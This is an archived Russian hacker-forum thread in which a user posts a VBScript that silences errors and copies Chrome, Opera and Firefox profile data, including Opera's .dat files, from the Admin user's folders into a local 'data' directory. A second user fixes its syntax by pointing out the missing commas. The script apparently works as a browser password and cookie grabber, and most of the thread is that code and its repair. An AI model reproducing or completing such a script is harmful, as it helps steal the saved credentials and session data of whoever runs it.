Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

Помогите исправить ошибку vbs

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> Помогите исправить ошибку vbs
Имя
Сообщение << Старые топики   Новые топики >>
Помогите исправить ошибку vbs - 2012-03-16 19:55:52.613333   
centrirn

Сообщений: 14
Оценки: 0
Присоединился: 2012-01-22 13:30:10.563333
 on error resume next
Const OverwriteExisting = True
Const OverWriteFiles = True
'===============================================
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFolder("data")
FSO.CreateFolder("data")
FSO.CreateFolder("data\opera")
FSO.CreateFolder("data\chrome")
FSO.CreateFolder("data\firefox")
If (FSO.FolderExists ("C:\Documents and Settings\Admin\Application Data\Opera\")) Then
FSO.CopyFolder "C:\Documents and Settings\Admin\Local Settings\Application Data\Google\Chrome\User Data\Default" , "data\chrome" , OverWriteFiles
FSO.CopyFolder "C:\Documents and Settings\Admin\Local Settings\Application Data\Google\Chrome\User Data\Default" , "data\chrome" , OverWriteFiles
FSO.CopyFile "C:\Documents and Settings\Admin\Application Data\Opera\Opera\*.dat" , "data\opera\", OverwriteExisting
FSO.CopyFile "C:\Documents and Settings\Admin\Application Data\Mozilla\Firefox\Profiles\*.default", "data\firefox"
Else
FSO.CreateFolder("data\opera7")
FSO.CreateFolder("data\chrome7")
FSO.CreateFolder("data\firefox7")
FSO.CopyFolder "C:\users\Admin\AppData\Roaming\Opera\Opera\" "data\opera7\"
FSO.CopyFolder "C:\users\Admin\AppdData\Local\Google\Chrome\User Data\Default" "data\chrome7\"
FSO.CopyFolder "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\*.default" "data\firefox7\"
End If


строка 20
символ 63
ошибка: предполагается наличие окончания конструкции
код : 800А0401
Post #: 1
RE: Помогите исправить ошибку vbs - 2012-03-18 09:48:50.380000   
centrirn

Сообщений: 14
Оценки: 0
Присоединился: 2012-01-22 13:30:10.563333
 неужели никто ничего не может сказать?![sm=bc.gif]
Post #: 2
RE: Помогите исправить ошибку vbs - 2012-03-20 21:35:14.246666   
bob3r

Сообщений: 67
Оценки: 0
Присоединился: 2011-06-03 02:30:17.840000
 Ты забыл запятые между параметрами:

FSO.CopyFolder "C:\users\Admin\AppData\Roaming\Opera\Opera\" "data\opera7\"
FSO.CopyFolder "C:\users\Admin\AppdData\Local\Google\Chrome\User Data\Default" "data\chrome7\"
FSO.CopyFolder "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\*.default" "data\firefox7\"

Где запятые? Их нет.
Post #: 3
RE: Помогите исправить ошибку vbs - 2012-03-26 09:06:55.180000   
centrirn

Сообщений: 14
Оценки: 0
Присоединился: 2012-01-22 13:30:10.563333
 Спасибо, bob3r!!!
Post #: 4
Страниц:  [1]
Все форумы >> [Прочее] >> Помогите исправить ошибку vbs







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.